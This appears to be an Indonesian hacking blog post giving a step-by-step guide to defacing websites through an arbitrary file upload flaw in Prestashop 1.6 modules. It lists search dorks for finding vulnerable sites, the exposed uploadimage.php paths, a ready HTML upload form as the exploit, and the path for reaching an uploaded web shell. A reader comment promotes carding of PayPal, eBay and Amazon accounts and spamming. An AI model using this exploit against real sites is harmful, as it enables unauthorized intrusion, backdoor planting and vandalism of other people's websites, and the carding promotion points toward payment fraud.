Cara Deface Website dengan Responsive Prestashop 1.6 Arbitrary File Upload

Cara Deface Website dengan Responsive Prestashop 1.6 Arbitrary File Upload
Cara Deface Website dengan Responsive Prestashop 1.6 Arbitrary File Upload


Pada artikel yang satu ini , kami akan menjelaskan tentang " Cara deface website dengan Responsive Prestashop 1.6 Arbitrary File Upload " .
Disini menggunakan dua cara yaitu Manual dan Auto ( tools )

Berikut adalah langkah - langkah secara Manual :

#1 Dork :

- inurl:/modules/columnadverts/
- inurl:/modules/homepageadvertise/
- inurl:/modules/productpageadverts/
- inurl:/modules/simpleslideshow/
- inurl:/themes/warehouse/

untuk dork nya silahkan di kembangkan lagi.

#2  Jika Website yang anda pilih dari proses dorking tadi , apabila website tersebut memiliki celah / vuln maka akan muncul tampilan seperti ini :


#3 Apabila terdapat vuln , silahkan gunakan salah satu Exploit dan PoC di bawah ini :

- /modules/columnadverts/uploadimage.php
- /modules/homepageadvertise/uploadimage.php
- /modules/productpageadverts/uploadimage.php
- /modules/simpleslideshow/uploadimage.php

Exploit Disini:
<form action="TARGET/modules/module name/uploadimage.php" enctype="multipart/form-data" method="POST">
<input name="userfile" type="file" /><button>Upload</button>
</form>


#4 Jika upload berhasil , akan muncul tampilan seperti ini :



#5 Selesai ...

Untuk mengakses Shell / backdoor yang telah di upload , silahkan gunakan yang di bawah ini :

     Target/modules/modul name/slides/shell.php


Jika anda masih bingung dengan cara manual seperti ini , anda bisa menggunakan Tools di "Auto Exploit Responsive Prestashop 1.6  Arbitrary File Upload " .

[YC]

1 komentar:

avatar
×

keren gan,, kunjungi juga website

www.masukangin.net
www.hackingblackhatwhitehat.xyz
www.kangkarding.net

- carding paypal
- carding ebay
- carding amazon
- spammer
- defacer
- Tutorial
- Website Order
- Daily
- Blackhat
DLL

Berkomentar lah yang Baik dan Sopan :D
Anda Sopan Kami Curiga :p
Peraturan Komentar :
1. Dilarang Spam
2. Dilarang Komentar yang mengandung unsur Sara , Porno , dan Diskriminasi.
3. Dilarang Promosi baik Produk atau pun Jasa
Kami akan segera menghapus komentar apabila melanggar peraturan.
Terima Kasih dan Selamat Membaca :)

Artikel Terbaru

BiteMiner Promo Material